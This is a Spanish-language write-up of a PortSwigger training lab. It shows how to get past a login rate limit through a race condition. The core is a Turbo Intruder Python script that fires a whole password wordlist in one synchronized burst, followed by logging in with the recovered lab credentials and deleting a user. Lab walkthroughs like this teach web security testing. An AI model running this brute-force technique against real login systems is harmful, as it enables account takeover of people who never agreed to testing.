Blog/Bypassing rate limits via race conditions
Bypassing rate limits via race conditions
Portswigger › Portswigger Labs › Race Conditions

Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio utiliza un mecanismo de inicio de sesión que implementa una limitación de velocidad para defenderse contra ataques de fuerza bruta. Sin embargo, esta protección puede ser eludida debido a una race condition
Para resolver el laboratorio
-
Identificar cómo
explotarlarace conditionparaeludirlalimitación de velocidad -
Realizar un ataque de
fuerza brutacon éxito paradescubrirlacontraseñadel usuariocarlos -
Iniciar sesiónen la cuenta decarlosyaccederalpanel de administración -
Eliminaral usuariocarlos
Podemos iniciar sesión en nuestra propia cuenta utilizando las credenciales wiener:peter. Como diccionario de contraseñas podemos usar https://portswigger.net/web-security/authentication/auth-lab-passwords
Guía de race conditions
Antes de completar este laboratorio es recomendable leerse esta guía de race conditions https://justice-reaper.github.io/posts/Race-Conditions-Guide/
Resolución
Al acceder a la web vemos esto

Si hacemos click sobre My account, vemos un panel de login. Si hacemos demasiados intentos fallidos nos arroja este mensaje

En nuestro caso, nos podemosloguear con las credenciales wiener:peter

Si capturamos la petición que se hace a la hora de iniciar sesión vemos esto

Para mandar esta petición al Turbo Intruder debemos pulsar click derecho > Extension > Turbo Intruder > Send to turbo intruder
![]()
Seleccionamos como script el race-single-packet-attack

El siguiente paso es crearnos un archivo que contenga todas las contraseñas del diccionario https://portswigger.net/web-security/authentication/auth-lab-passwords. Posteriormente debemos marcar donde queremos que ejerza la fuerza bruta usando %s

Por último, modificamos el script por defecto para cargar un diccionario e iniciamos el ataque
def queueRequests(target, wordlists):
# If the target supports HTTP/2, use engine=Engine.BURP2 to trigger the single-packet attack
# If they only support HTTP/1, use Engine.THREADED or Engine.BURP instead
# For more information, check out https://portswigger.net/research/smashing-the-state-machine
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Load the wordlist
wordlist_path = "/home/justice-reaper/Desktop/passwords.txt"
with open(wordlist_path, 'r') as file:
passwords = file.readlines()
# Clean the words (remove line breaks)
passwords = [password.strip() for password in passwords]
# The 'gate' argument withholds part of each request until openGate is invoked
# If you see a negative timestamp, the server responded before the request was complete
for password in passwords:
engine.queue(target.req, password, gate='race1')
# Once every 'race1' tagged request has been queued
# Invoke engine.openGate() to send them in sync
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
Si filtramos por Length vemos que nos hace un redirect, lo cual significa que la contraseña es válida

Nos logueamos con las credenciales carlos:letmein


Pulsamos sobre Admin panel y eliminamos al usuario carlos
